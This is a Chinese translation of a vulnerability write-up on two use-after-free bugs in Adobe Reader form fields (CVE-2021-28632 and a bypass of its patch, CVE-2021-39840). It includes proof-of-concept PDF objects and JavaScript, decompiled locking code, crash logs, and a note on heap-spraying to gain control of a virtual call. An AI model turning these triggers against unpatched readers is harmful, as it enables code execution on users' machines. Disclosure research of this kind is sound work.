CVE-2021-28632 & CVE-2021-39840: 繞過adobe reader中的鎖
前言
這篇博文描述了我提交給 ZDI 的兩個 Adobe Reader 釋放后使用漏洞:一個來自 2021 年 6 月的補丁 ( CVE-2021-28632 ),一個來自 2021 年 9 月的補丁 ( CVE-2021-39840 )。關于這兩個bug的一個有趣方面是它們是相關的——第一個錯誤是通過模糊測試發現的,第二個錯誤是通過逆向工程發現的,它繞過第一個錯誤的補丁。
CVE-2021-28632:了解字段鎖
一天清晨,在對fuzz結果進行例行崩潰分析時,一個 Adobe Reader 崩潰引起了我的注意:
** Adobe Reader DC 2021.001.20135 eax=549b6fe8 ebx=00000000 ecx=04cfb49c edx=40004000 esi=549b6fe8 edi=3344afa8 eip=67147215 esp=04cfb504 ebp=04cfb544 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 AcroForm!DllUnregisterServer+0xd0b45: 67147215 8b4f14 mov ecx,dword ptr [edi+14h] ds:002b:3344afbc=????????
在經過幾個小時的樣本最小化和清理fuzzer生成的 PDF 文件后,最終簡化的PoC 如下所示(PDF部分僅限重要的內容):
8 0 obj << /FT /Tx /Kids [9 0 R] % [A] /T (fieldParent) >> endobj
9 0 obj << /FT /Tx /T (fieldChild)
/Type /Annot % [B] /Subtype /Widget /Rect [0 0 1 1] >> endobj
JavaScript 部分:
function callback() { removeField("fieldChild"); // [1] }
try { fieldParent = getField("fieldParent"); fieldParent.setAction("Format", "callback()"); // [2] fieldParent.textSize = 1; // [3] }catch(e) { app.alert("exception: " + e) }
崩潰是涉及到CPDField對象的一個UAF。CPDField對象是AcroForm.api的內部C++對象,在交互式表單中代表文本字段、按鈕字段等。
在上面的PDF部分中,創建了兩個CPDField對象來代表兩個文本字段,名為fieldParent和fieldChild。這里需要注意的是,創建的對象是一個CTextField類型,它是CPDField的子類,用于文本字段。為了簡化討論,它們將被稱為CPDField對象。
觸發該錯誤的一個重要因素是,fieldChild應該是fieldParent的子類,通過在fieldParent PDF對象字典的/Kidskey中指定它(見上文),正如PDF文件格式規范中所記載的那樣。

與該bug有關的另一個重要概念是,為了防止CPDField對象在使用中被釋放,使用了一個名為LockFieldProp的內部屬性。CPDField對象的內部屬性是通過一個C++ map成員變量來存儲的。
如果LockFieldProp不為零,意味著CPDField對象被加鎖,不能被釋放;如果它為零或未被設置,意味著CPDField對象被解鎖,可以被釋放。下面是PoC中兩個CPDField對象在調用字段鎖的代碼(后面會討論)之前的可視化表示:fieldParent是解鎖狀態(LockFieldProp為0),呈綠色,fieldChild也是解鎖狀態(LockFieldProp未設置),也呈綠色。

在PoC的JavaScript部分,代碼設置了一個JavaScript回調,以便當fieldParent的 “Format “事件被觸發時,自定義的JavaScript函數callback()會被執行。然后JavaScript代碼通過設置fieldParent的textSize屬性來觸發 “Format “事件。在內部,這將執行AcroForm.api中JavaScript Field對象的textSize屬性設置器。
AcroForm.api中textSize屬性設置器的第一個動作是針對fieldParent調用以下代碼加鎖。
// Ghidra decompiled code // 0x20b96568 in AcroForm.api (Adobe Reader DC 2021.001.20135) // Except for "CPDField", all names are assumed (not actual)
CFieldLock * __thiscall CFieldLock::lock(CFieldLock *this, CPDField *field) { uint16_t locked;
this->field = field; this->locked = 0; if (field != (CPDField *)0x0) { locked = LockFieldPropGet(field); if (locked == 0) { LockFieldPropSet(this->field,1); // [AA] this->locked = 1; } } return this; }
上述代碼通過將其LockFieldProp屬性設置為1[AA],鎖定了傳遞給它的CPDField對象。
執行字段加鎖代碼后,fieldParent(加鎖:紅色)和fieldChild(解鎖:綠色)的鎖狀態如下。

注意在Adobe Reader的后期版本中,LockFieldProp的值是一個指向計數器的指針,而不是被設置為1或0的值。
接下來,AcroForm.api中的textSize屬性設置器遞歸調用下面的CPDField方法,在這里發生了UAF。
// Ghidra decompiled code // 0x20b971a0 in AcroForm.api (Adobe Reader DC 2021.001.20135) // Except for "CPDField", all names are assumed (not actual)
void __thiscall CPDField::propagateNotification(CPDField *this,undefined4 param1,undefined4 param2) { // 1st call: `this` points to fieldParent // 2nd call: `this` points to fieldChild
// [...]
if ((int)this->widgetEnd - (int)this->widgetStart >> 2 == 0){ // [aa]
// 1st call: `this` points to fieldParent
CPDField::getKidsHandle(this,&kidsHandle); getHandleType = g_AcroRdObjFuncs->PDHandleGetType; handleLo_ = (uint32_t)kidsHandle; handleHi_ = kidsHandle._4_4_; _guard_check_icall(getHandleType); handleType = (*getHandleType)(CONCAT44(handleHi_,handleLo_)); if (handleType == PDHANDLE_TYPE_ARRAY) { arrayGetLen = g_AcroRdObjFuncs->PDArrayGetLen; handleLo__ = (uint32_t)kidsHandle; handleHi__ = kidsHandle._4_4_; _guard_check_icall(arrayGetLen); kidsLen = (*arrayGetLen)(CONCAT44(handleHi__,handleLo__));
// For each of the field's children, perform a recursive call
for (kidsIndex = 0; kidsIndex < kidsLen; kidsIndex = kidsIndex + 1) { // [bb] arrayGetItemAtIndex = g_AcroRdObjFuncs->PDArrayGetItemAtIndex; handleLo___ = (uint32_t)kidsHandle; handleHi___ = kidsHandle._4_4_; kidsIndex_ = kidsIndex; _guard_check_icall(arrayGetItemAtIndex); kidHandle = (*arrayGetItemAtIndex)(CONCAT44(handleHi___,handleLo___),kidsIndex_); field = FieldNameMap::getByHandle(this->fieldNameMap,kidHandle,1); if (field != (CPDField *)0x0) {
// `field` will point to fieldChild
propagateNotification = field->vftable->propagateNotification; uVar5 = param1; uVar6 = param2; _guard_check_icall(propagateNotification);
// perform recursive call with the `this` pointer pointing to fieldChild
(*propagateNotification)(field,uVar5,uVar6); // [cc] } } } } else { if (this->field_0x24 == 0) {
// 2nd call: `this` points to fieldChild
// Triggers a notification that results in the execution of the // custom JavaScript callback() function that will free fieldChild
notify = this->vftable->notify; uVar5 = param1; _guard_check_icall(notify); pCVar3 = (CPDField *)(*notify)(this,uVar5); // [dd]
// `this` pointer (fieldChild) is now a dangling pointer
// [...] } } // [...] } return; }
在第一次調用上述方法時,this指針指向加鎖的fieldParent CPDField對象。因為它沒有相關的部件[aa](上方[aa]處的代碼,下同),該方法執行了一個遞歸調用[cc],this指針指向fieldParent的每個子對象[bb]。
因此,在第二次調用上述方法時,this指針指向fieldChild CPDField對象,由于它有一個相關的widget(見PoC中PDF部分的[B]),一個通知將被觸發[dd],導致自定義JavaScriptcallback()函數被執行。如上圖所示,加鎖代碼只鎖定了fieldParent,而fieldChild卻沒有被加鎖。因為fieldChild被解鎖了,自定義JavaScriptcallback()函數中的removeField(“fieldChild”)調用(見PoC中JavaScript部分的[1])成功地釋放了fieldChild CPDField對象。這導致遞歸方法中的this指針在[dd]的調用后成為一個懸掛的指針。隨后此懸掛指針被解引用,導致崩潰。
這是第一個漏洞在2021年6月被Adobe修補,并分配給CVE-2021-28632。
CVE-2021-39840:逆向補丁和繞過鎖
我很好奇Adobe是如何修補CVE-2021-28632的,所以在補丁發布后,我決定看一下更新后的AcroForm.api。
在逆向更新后的字段加鎖代碼時,我注意到添加了一個對加鎖傳遞字段的直接子類的方法的調用:
// Ghidra decompiled code // 0x20b966d8 in AcroForm.api (Adobe Reader DC 2021.005.20048) // Except for "CPDField", all names are assumed (not actual)
CFieldLock * __thiscall CFieldLock::lock(CFieldLock *this,CPDField *field) { uint16_t locked; CPDField *field_;
this->field = field; this->locked = 0; if ((field != (CPDField *)0x0) && (locked = LockFieldPropGet(field), locked == 0)) { LockFieldPropSet(this->field,1); field_ = this->field; this->locked = 1; if ((int)field_->widgetEnd - (int)field_->widgetStart >> 2 == 0) { CPDField::lockUnlockKids(field_,1); // Added call: Lock the field's immediate descendants } } return this; }
通過添加的代碼,fieldParent和fieldChild都將被加鎖,第一個錯誤的PoC將在釋放fieldChild時失敗。

在評估更新后的代碼時,我產生了一個想法:由于加鎖代碼只額外鎖定字段的直系子類,如果該字段有一個非直系子類呢?我迅速將CVE-2021-28632的PoC修改為以下內容。
PDF部分(只有重要部分)。
9 0 obj << /FT /Tx /Kids [10 0 R] /T (fieldParent) >> endobj
10 0 obj << /FT /Tx /T (fieldChild) /Kids [11 0 R] >> endobj
11 0 obj % Added a grandchild field << % fieldGrandChild is a grandchild of fieldParent /FT /Tx /T (fieldGrandChild)
/Type /Annot /Subtype /Widget /Rect [0 0 1 1] >> endobj
JavaScript部分:
function callback() { removeField("fieldGrandChild"); // free the fieldGrandChild CPDField object }
try { fieldParent = getField("fieldParent"); fieldParent.setAction("Format", "callback()"); fieldParent.textSize = 1; }catch(e) { app.alert("exception: " + e) }
然后在調試器下的Adobe Reader中加載更新后的PoC,點擊開始……然后崩潰了!
** Adobe Reader DC 2021.005.20048 (2568.2504): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=4334cfe8 ebx=00000000 ecx=6381b85b edx=00400000 esi=4334cfe8 edi=33ddcfa0 eip=637f73b5 esp=0057b6a4 ebp=0057b6e4 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 AcroForm!DllUnregisterServer+0xd0bb5: 637f73b5 8b4f14 mov ecx,dword ptr [edi+14h] ds:002b:33ddcfb4=????????
補丁被繞過了,Adobe Reader在之前討論的遞歸方法中的同一位置崩潰了,和上一個UAF一樣。
經過進一步分析,我確認下圖是調用遞歸方法時字段鎖的狀態。請注意,fieldGrandChild是解鎖狀態,因此,可以被釋放。

遞歸的CPDField方法從指向fieldParent的this指針開始,接著用指向fieldChild的this指針調用自身,然后用指向fieldGrandChild的this指針再次調用自身。由于fieldGrandChild有一個附加的部件,釋放fieldGrandChild的JavaScriptcallback()函數被執行,有效地使this指針成為一個懸掛的指針。
這是第二個漏洞在2021年9月被Adobe修補,并分配給CVE-2021-39840。
控制字段對象
通過JavaScript控制被釋放的CPDField對象是很直接的:在通過調用removeField()釋放CPDField對象后,JavaScript代碼可以用類似大小的數據或一個對象噴射占領堆塊,以替換被釋放的CPDField對象的內容。
當我向ZDI提交報告時,包括了第二個PoC,它展示了對CPDField對象的完全控制,然后對一個受控的、虛函數表指針進行解引用。
** Adobe Reader DC 2021.005.20048 ** Debug log of PoC for CVE-2021-39840 [...] eax=101000d8 ebx=00000000 ecx=00000000 edx=00000001 esi=0d049dc0 edi=0f08abf8 eip=64c673d9 esp=050fb5cc ebp=050fb614 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 AcroForm!DllUnregisterServer+0xd0bd9: 64c673d9 8b7030 mov esi,dword ptr [eax+30h] ds:002b:10100108=41414141 0:000> u AcroForm!DllUnregisterServer+0xd0bd9: 64c673d9 8b7030 mov esi,dword ptr [eax+30h] 64c673dc 8bce mov ecx,esi 64c673de ff1544690965 call dword ptr [AcroForm!DllUnregisterServer+0x500144 (65096944)] ; CFG check 64c673e4 8b4dec mov ecx,dword ptr [ebp-14h] 64c673e7 ffd6 call esi ; call using a controlled register (esi)
總結
對象樹的實現,特別是那些可以任意控制和銷毀對象的應用,很容易出現 “UAF”漏洞。對于開發者來說,必須特別注意對象引用跟蹤和對象鎖的實現。對于漏洞研究者來說,它們代表了發現有趣的漏洞的機會。
譯文聲明
譯文僅供參考,具體內容表達以原文為準。